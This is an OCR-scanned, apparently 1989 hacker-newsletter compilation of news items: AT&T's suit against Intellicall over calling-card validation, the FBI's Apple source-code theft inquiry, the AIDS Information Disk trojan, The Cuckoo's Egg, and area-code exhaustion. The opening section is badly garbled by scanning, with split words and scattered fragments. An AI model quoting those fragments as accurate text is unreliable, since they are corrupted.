Companies found not complying from January 1, 


- Ohio Bell 
— Wisconsin Bel 


1 


- Southern Bell 


- South Central 


B 


in North Carolina and South Carolina 


ell in Mississippi and Tennessee 


- Pacific Bell 
-— Nevada Bell 


- Southwestern Bell 


—- Mountain Bell 


- Northwestern Bell 


- Cincinnati Be 


Ly 


in Iowa, Minnesota, Nebraska, and North Dakota 


West Communications and is the phone 


1987 to December 31, 1988 were: 


Dallas -—- AT&T f£ 


its pay telephones to il 


The lawsuit asks 


ae 


ll: Another Lawsuit 


November 8, 1989 


ed a lawsuit charging that a Texas-based corporation equips 


legal 


for $2 mill 


ly obtain billing information owned by AT&T. 


ion in punitive damages and an undetermined amount 


in actual damages from Intellicall Inc., headquartered in Carrollton, Texas. 


It also asks the U.S. 


unauthorized use of AT&T 


At issue is how Intell 


billing information. 


District Court in Dallas to order Intellicall to stop its 


licall pay phones determine the validity of calling card 


numbers for billing purposes. AT&T contends that Intellicall pay phones are 


designed and programmed by Intell 


directly from AT&T’s card validation system. 


That system, cal 


network facilities. 


licall to reach into and obtain the information 


led Billing Validation Application (BVA), is a part of AT&T’s 


Before AT&T completes a call that will be charged to an 


AT&T Card, its validation system verifies that the number provided by the 
customer is currently val 


Based on contractual 


System, regional 


B 


id. 


| arrangements made be 


Lele 


fore the 1984 breakup of the Bell 


phone companies also use the validation system. ATé&T 
does not permit competitors such as Intellicall to use the system because th 


system was built by AT&T and contains valuable competitive information. 


AT&T alleges that when callers use an AT&T Card or Bell company calling card at 


an Intellicall pay phone, 
through AT&T or local Bell 


the pay phone automatically places a separate call 


facilities to a pre-programmed t 


lephone number so 


that AT&T’s validation system will automatically check the card number. 


If the card number is val 
original customer call. 


lid, the Intellicall pay phone then 


puts through the 


"As a result of these practices," the lawsuit says, "Intellicall 
surreptitiously and without authorization obtains validation data from AT&T, 
obtains fraud control for calls by its customers without having to invest in 
fraud control facilities or otherwise purchase fraud control services, imposes 


costs on AT&T, and... 


obtains an unfair advantage over its competitors 


providing pay telephone and/or long-distance service, including AT&T." 


Although AT&T does not authorize other companies to accept the AT&T Card and 


does not permit competitors to use its validation system, 


that Intellicall could purchase validation services for Bell 
cards from other companies. 


AT&T said it notified Intellicall that it was violating AT&!1 
rights and gave Intellicall every reasonable opportunity to 


the lawsuit notes 


l company calling 


[’s proprietary 
halt the fraudulent 
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validation practice. Only after Intellicall persisted in its unfair practices 
did AT&T decide to take legal action. 


AT&T v. Intellicall: The Lawsuit Is Over November 13, 1989 
Dallas -- AT&T and Intellicall, Inc. today announced the settlement of a 
lawsuit filed by AT&T against Intellicall, seeking damages and an injunction. 


AT&T had accused Intellicall of unauthorized access to AT&T’s calling card 
validation system. 


The settlement also covered potential counterclaims which Intellicall intended 
to file against AT&T. 


In the agreement, Intellicall acknowledged AT&T’s proprietary rights in the 
Billing Validation Application system, and agreed to make modifications in its 
licensed pay telephone software to safeguard against unauthorized access and 
use of the AT&T system. 


The terms of the agreement include an undisclosed payment by Intellicall to 
AT&T to contribute to the establishment of a compliance program which will 
permit AT&T to monitor unauthorized access to its billing systems. 


"AT&T is pleased that a settlement recognizing AT&T’s proprietary right to the 
validation system was reached so quickly," said Gerald Hines, director of AT&T 
Card Services. 
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U.S. Inquiry Into Theft From Apple November 19, 1989 


by John Markoff (New York Times) 


A former Apple Computer Inc. engineer has said he was served with a grand jury 
subpeona and told by an FBI agent that he is a suspect in a theft of software 
used by the company to design its Macintosh computer. 


In June a group identifying itself as the Nu Prometheus League mailed copies of 
computer disks containing the software to several trade magazines and software 
developers. 


Grady Ward, age 38, who worked for Apple until January (1989), said that he 
received the subpeona from an FBI agent, who identified himself as Steven E. 
Cook. 


Ward said the agent told him that he was one of five suspects drawn from a 
computerized list of people who had access to the material. The agent said the 
five were considered the most likely to have taken the software. 


A spokesman for the FBI in San Francisco said the agency would not comment on a 
continuing investigation. 


Ward said he had told the FBI he was innocent but would cooperate with the 
investigation. 

The theft of Apple’s software has drawn a great deal of attention in Silicon 
Valley, where technology and trade-secret cases have highlighted the crucial 
r 
fe) 


ole of skilled technical workers and the degree to which corporations depend 
n their talents. 


The case is unusual because the theft was apparently undertaken for 
philosophical reasons and not for personal profit. 


here is no indication of how many copies of the program were sent by Nu 
Prometheus. 


Software experts have said the programs would be useful to a company trying to 
copy the distinctive appearance of the Macintosh display, but it would not 
solve legal problems inherent in attempting to sell such a computer. Apple has 
successfully prevented many imitators from selling copies of its Apple II and 
Macintosh computers. 


The disks were accompanied by a letter that said in part: "Our objective at 
Apple is to distribute everything that prevents other manufacturers from 
creating legal copies of the Macintosh. As an organization, the Nu Prometheus 
League has no ambition beyond seeing the genius of a few Apple employees 
benefit the entire world." 


The group said it had taken its name from the Greek god who stole fire from the 
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gods and gave it to man. 
The letter said the action was partially in response to Apple’s pending suit 


against Microsoft Corp. and Hewlett-Packard Co., accusing them of copying the 
"look and feel" the screen appearanc of the Macintosh. 


Many technology experts in Silicon Valley believe Apple does not have special 
rights to its Macintosh technology because most of the features of the computer 
are copied from research originally done at Xerox Corp.’s Palo Alto Research 
Center during the 1970s. The Macintosh was not introduced until 1984. 

The theft came to light in June after Macweek, a trade magazine, published the 
letter from Nu Prometheus. 


At the time the theft was reported, executives at Apple, based in Cupertino, 
California, said they took the incident seriously. 


A spokeswoman said that Apple would not comment on details of the 
investigation. 


Ward said he had been told by the FBI agent that the agency believed Toshiba 
Corp. had obtained a copy of the software and that copies of the program had 
reached the Soviet Union. 


The software is not restricted from export to the Communist bloc. Its main 
value is commercial as an aid in copying Apple’s technology. 


Ward said the FBI agent would not tell him how it believed Toshiba had obtained 
a copy of the software. 


Ward also said the FBI agent told him that a computer programmer had taken a 
copy of the software to the Soviet Union. 


Ward said the FBI agent told him he was considered a suspect because he was a 
"computer hacker," had gone to a liberal college and had studied briefly at the 
Massachusetts Institute of Technology’s Artificial Intelligence Laboratory. 


The term "hacker" was first used at MIT to describe young programmers and 
hardware designers who mastered the first interactive computers in the 1960s. 


Ward is the second person to be interviewed by the FBI in the investigation of 
the theft. 


Earlier Charles Farnham, a businessman in San Jose, California, said two FBI 
agents came to his office, but identified themselves as reporters for United 
Press International. 


Farnham, a Macintosh enthusiast, has disclosed information about unannounced 
Apple products, said that after asking him to come outside his office, the men 
said they were FBI agents and proceeded to question him about Nu Prometheus 
group. He said he was not told that he was a suspect in the case. 


UPI has complained to the FBI because of the incident. 
Ward said he had joined Apple in 1979 and left last January to start his own 


company, Illumind. He sells computerized dictionaries used as spelling 
checkers and pronunciation guides. 


He said the FBI told him that one person who had been mailed a copy of the 
Apple software was Mitchell Kapor, founder of Lotus Development Corporation. 


Kapor returned his copy of the disk unopened, Ward said the agent told him. 
Ward said the FBI had also said he was suspect because he had founded a group 


for the gifted known as Cincinnatus, which the agent said had roots in Greek 
mythology that were similar to the Nu Prometheus group. 


Ward said the FBI was mistaken, and Cincinnatus is a reference from ancient 
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Roman history, not Greek mythology. 


Data-Destroying Disc Sent To European Computer Users December 13, 1989 


by John Markoff (New York Times) 


A computer disk containing a destructive program known as a Trojan horse has 
been mailed to computer users in at least four European countries. 


It was not clear if any copies of the program had been mailed to people in the 
United States. 


The program, which threatens to destroy data unless a user pays a license fee 
to a fictitious company in Panama City, Panama, may be a widespread attempt to 
vandalize thousands of personal computers, several computer experts who have 
studied the program said Tuesday, December 12. 


Some computer experts said the disk was mailed by a "PC Cyborg" company to 
subscribers of personal computer trade magazines, apparently using mailing 
lists. 


The disk is professionally packaged and accompanied by a brochure that 
describes it as an "Aids Information Disk," the computer experts said. But 
when it is installed in the user’s computer it changes several files and hides 
secret programs that later destroy data on the computer disk. 


Paul Holbrook, a spokesman for the Computer Emergency Response Team, a U.S. 
government-—financed security organization in Pittsburgh, said his group had 
confirmed th xistence of the program, but did not know how widely it had 
spread. 


Trojan horses are programs hidden in software that secretly insert themselves 
in a computer when the software masking them is activated. They are different 
from other secret programs like viruses and worms because they are not 
infectious: They do not automatically copy themselves. 


A licensing agreement that accompanies the disk contains threatening 
information. 


It reads in part: "In case of your breach of this license, PC Cyborg reserves 
the right to take any legal action necessary to recover any outstanding debts 
payable to the PC Cyborg Corporation and to use program mechanisms to ensure 
termination of your use of these programs. The mechanisms will adversely 
affect other programs on your microcomputer." 


When it destroys data, the program places a message on the screen that asks 
users to send $387 to a Panama City address. 


John McAfee, a computer security consultant in Santa Clara, California, said 
the program had been mailed to people in England, West Germany, France and 
Italy. 


The Executive Computer: From Espionage To Using A Printer October 27, 1989 


by Peter H. Lewis (New York Times) 


Those executives who pay attention to computers are more likely to worry about 
grand issues like productivity and small ones like how to make their personal 
printers handle envelopes than whether the KGB has penetrated their companies. 
In a fresh crop of books, they will find lessons on all these matters. 


Perhaps the most entertaining of the new books is "The Cuckoo’s Egg" ($19.95, 
Doubleday), by Dr. Clifford Stoll, an astronomer. 


Because he was the rookie in the Lawrence Berkeley Laboratories in California, 
he was asked to track down and fix a glitch in the lab’s accounting software, 
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which had found a 75-cent discrepancy when it tried to balance the books. 


"First-—degr robbery, huh?" was Stoll’s first reaction. But by the time he 
was done nearly a year later, he had uncovered a West German spy ring that had 
cracked the security of American military and research computer networks, 
gathering information that it sold to Moscow. 


Beyond the entertainment value of this cat-and-mouse hunt, the book has lessons 
for any corporate computer user. The message is clear: Most companies are 
irresponsible about security. 


The ease with which the "hacker" penetrated even military installations was 
astonishing, but not as astonishing as the lack of concern by many of the 
victims. 


"The Cuckoo’s Egg" follows the hunt for the unknown intruder, who steals 
without taking and threatens lives without touching, using only a computer 
keyboard and the telephone system. 


The detective is an eccentric who sleeps under his desk, prefers bicycles to 
cars, and suddenly finds himself working with the Federal Bureau of 
Investigation, the Central Intelligence Agency and the National Security 
Agency. 


Although the criminal and the hunter deal in th soteric realm of computer 
code and data encryption, Stoll makes the technology accessible. 


He also discovers that navigating the global electronic grid is less difficult 
than navigating the bureaucracies of various government agencies. 


And while he was a whiz at tracing the cuckoo’s electronic tracks from Berkeley 
to Okinawa to Hannover, West Germany, Stoll reveals himself to be helplessly 
lost on streets and highways and befuddled by such appliances as a microwave 
oven. 


Besides the more than 30 academic, military and private government 
installations that were easy prey for the spies, the victims included Unisys, 
TRW, SRI International, the Mitre Corporation and Bolt Beranek & Newman Inc. -- 
some of the very companies that design, build and test computer systems for the 
government. 


"No doubt about it, the shoemaker’s kids are running around barefoot," Stoll 
writes. 


One leading character in the book is Dr. Bob Morris, chief scientist for the 
National Security Agency and the inventor of the security for the Unix 
operating system. 


An epilogue to the book, dealing with an unrelated computer crime, recounts the 
discovery that it was Morris’s son who wrote the rogue program that shut down a 
national network for several days last year. 


In "The Macintosh Way" ($19.95, Scott, Foresman & Co.), Guy Kawasaki, a former 
Apple Computer Inc. executive who is now president of a software company, has 
written a candid guide about management at high-technology companies. 


Although his book is intended for those who make and market computer goods, it 
could prove helpful to anyone who manages a business. 


Dialing Away U.S. Area Codes November 13, 1989 


by Laure O’Brien (Telephony Magazine) 


The current endangered species in the news may not be an animal at all. The 
number of available area codes in the United States is dwindling rapidly. 
Chicago consumed a new code on November 11, 1989 and and New Jersey will gobble 
up another one on January 1, 1990. 
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There are only nine codes left, and they ar xpected to be used up by 1995, 
said Robert McAlesse, North American Numbering Plan administrator and member of 
Bellcore’s technical staff. 


"In 1947 (Bellcore) started with 86 codes, and they projected exhaustion in 100 
to 150 years. They were off by a few years," McAlesse said. 


When the 152 available codes ar xhausted, Bellcore will use a new plan for 
creating area codes. 


A total of 138 codes already are assigned. Five of the remaining 14 codes are 
reserved for service access codes, and 9 are for geographic area codes. 


Under the current plan, a 0 or a 1 is used as the second digit while the first 
and last digits can range between 2 and 9. Under the new plan the first digit 
will be between 2 and 9 and the following two digits will be numbers between 0 
and 9, McAlesse said. 


The new plan will create 640 potential area codes, he said. Bellcore isn’t 
predicting when the newly created codes will run out. 


"The growth in new services and increase in the number of telephones ar 
exhausting the codes. The biggest increases are cellular telephones, pagers, 
facsimile machines and new services that can have more than one number," 
McAlesse said. 


The current unassigned codes include 210, 310, 410, 706, 810, 905, 909, 910 and 
917. The Chicago area took the 708 code, and New Jersey will take 908. 


In the Chicago metropolitan area, the suburbs were switched from the 312 area 
code to the new 708 code. Residents and businesses within the city limits 
retained the 312 code. 


Illinois Bell started preparing for the change two years ago with the 
announcements alerting business customers to change stationary and business 
cards, said Gloria Pope, an Illinois Bell spokeswoman. Now the telco is 
targeting the residential market with billboard reminders and billing inserts. 


The cost of technically preparing for the new code, including labor, is 
expected to reach $15 million. But Pope said that does not include mailings, 
public relations efforts and business packages designed to smooth out the 
transition. The telco will absorb the cost with budgeted funds, and no rate 
increase is expected, she said. 


Modifying the network to recognize the new code started about six months ago 
with translation work. Every central office in the Chicago Metropolitan area 
was adapted with a new foreign-area translator to accept the new code and route 
the calls correctly, said Audrey Brooks, area manager-Chicago translations. 


The long distance carriers were ready for the code’s debut. AT&T, US Sprint 
and MCI changed their computer systems to recognize the new code before th 
Chicago deadline. 


"We are anticipating a pretty smooth transfer," said Karen Rayl, U.S. Sprint 
spokeswoman. 

Businesses will need to adjust their PBX software, according to AT&T technical 
specialist Craig Hoopman. "This could affect virtually every nationwide PBX," 
he said. Modern PBX’s will take about 15 minutes to adjust while older 
switches could take four hours. In many cases, customers can make the changes 
themselves, he said. 


A New Coating Thwarts Chip Pirates November 7, 1989 


by John Markoff (New York Times) 
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Several years ago, clever high-technology pirates removed a chip froma 
satellite-television descrambling device made by General Instrument 
Corporation, electronically siphoned out hidden decryption software and studied 
it to figure out a way to receive clear TV signals. 


When the company later tried to protect the chips by coating them with epoxy, 
the pirates simply developed a solvent to remove the protective seal, and stole 
the software again. 


Now government researchers at Lawrence Livermore National Laboratory, a weapons 
and energy research center in Livermore, California, have developed a special 

coating that protects the chip from attempts to pry out either the chip design 
fe) 
c 


r the information it contains. In the semiconductor industry, a competitor’s 
hip design can be copied through a process called revers ngineering, which 
might include determining the design through an electron microscope or by 
dissolving successive layers of the chip with a solvent. 


Already a number of government military and intelligence agencies are using the 
coating to protect circuits containing secure information. The government has 
qualified 13 U.S. chip makers to apply the coating to chips used by certain 
government agencies. 


The Lawrence Livermore research, known as the Connoisseur Project, has 
developed a resin about the consistency of peanut butter that is injected into 
the cavity surrounding the chip after it has been manufactured. The coating is 
heated and cured; The chip is then sealed with a protective lid. 


The special protective resin is opaque and resists solvents, heat, grinding and 
other techniques that have been developed for revers ngineering. 


A second-generation coating is being developed that will automatically destroy 
the chip when an attempt is made chemically to break through the protective 
layer. 


Another project at the laboratory is exploring even more advanced protection 
methods that will insert ultra-thin screens between the layers of a chip, 
making it harder to be penetrated. 


U.S. Firm Gets Hungarian Telephone Contract December 5, 1989 


Taken from the St. Louis Post-Dispatch (via New York Times News Service) 


U.S. West Inc., one of the seven regional Bell telephone companies, announced 
that it had signed an agreement with Hungary to build a mobile cellular 
telephone system in Budapest. 


The Hungarian cellular system will be the first such telephone network in 
Eastern Europe. 


Because of the shortage of telephones in their country, Hungarians are expected 
to use cellular telephones for basic home service, as well as mobile 
communications. 


For Hungary and the other Eastern European countries that have antiquated 
telephone systems, it will be faster and cheaper for the Government to deliver 
telephone service by cellular networks than it would be to rebuild the nation’s 
ntire telephone apparatus. 


A cellular telephone network transmits calls on radio waves to small receiving 
antennas, called "cell" sites, that relay calls to local phone systems. The 
system to be built in Hungary will transmit calls from cellular phone to 
cellular phone and through the existing land-based telephone network. 


The system, which is scheduled to begin operation in the first quarter of 1991, 
will initially provide cellular communications to Budapest’s 2.1 million 
residents. Eventually, the system will serve all of Hungary, a nation of 10.6 
million. 
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Hungary has 6.8 telephone lines for every 100 people, according to The World’s 
Telephones, a statistical compilation produced by AT&T. By comparison, the US 
has 48.1 lines for every 100 people. 


1. Phone Fun (November/December) Some students at Columbia University in 
New York City have added a twist to that ancient annoyance, the chain 
letter. The students have taken advantage of the school’s newly installed, 
$15 million IBM/Rolm phone system’s ability not only to store messages lik 
an answering machine, but also to take and receive messages and send them 
-- with comments -- to a third party. 


Last spring, brothers Anil and Ajay Dubey, both seniors, recorded a parody 
of rapper Tone Loc’s Top 10 single "Funky Cold Medina" and sent it to some 


buddies. Their friends then passed the recording along with comments, to 
some other pals, who passed it on to other friends... and so on, and so 
on, and so on. Eventually, the message ran more than ten minutes and 


proved so popular that the phone mail system became overloaded and was 
forced to shut down. 


2. Get a "Sprint" VISA Card Today (November 14, 1989) -- U.S. Sprint will 
begin mailing in December, a a Sprint VISA card, which will combine the 
functionality of a long distance calling card, a credit card and an ATM 
card. Sprint will market the card which will be issued by State Street 
Bank and Trust, in Boston. 


Business travelers will receive a single bill that list all their travel 
related expenses: Hotel, meals and phone calls. While payment for the 
phone charges will be done through the regular Visa bill, call detail 
reports will appear on Sprint’s standard FONcard bill. Taken from 
Communications Week. 


3. The Harpers Forum -- Harpers Magazine came up with an idea for how to 
gather information about the phreak/hack modem community. They set up shop 
on The Well (a public access Unix and bulletin board) and invited any and 
all hackers to join in their multiple discussion subboards. 


The hackers involved were Acid Phreak, Bernie S., Cap’n Crunch, Cheshire 
Catalyst, Emmanuel Goldstein, Knight Lightning, Michael Synergy (of Reality 
Hackers Magazine), Phiber Optik, Piper, Sir Francis Drake, Taran King, and 
many Old TAP subscribers. 


The Well is accessible through CompuServe’s data network. All charges for 
using The Well by hackers were absorbed by Harpers. 


[There were many people on The Well posing as hackers to try and add to the 
discussion, but it turns out that some of them like Adel Aide, were sho 
salesmen. There were also a few security types, including Clifford Stoll 
(author of The Cuckoo’s Egg), and a reporter or two like Katie Hafner (who 
writes a lot for Business Week). 


The contents of the discussion and all related materials will be used in an 
article in an upcoming issue of Harpers Magazine. 


4. Phrozen Ghost has supposedly been arrested for crimes relating to hacking, 
telecommunications fraud, and drugs. No other details are known at this 
time. Information sent to PWN by Captain Crook. 


5. SurveillanceCon ’89 -—- Tuc, Susan Thunder, and Prime Suspect all attended a 
Security/Surveillance Convention in Washington DC recently at which both 
Tuc and Susan Thunder gave presentations about computer security. Tuc’s 
presentation dealt largely with bulletin boards like Ripco in Chicago and 
newsletters like Phrack Inc. Audio cassettes from all the speakers at this 
convention are available for $9.00 each, however we at PWN have no 
information about who to contact to purchase these recordings. 


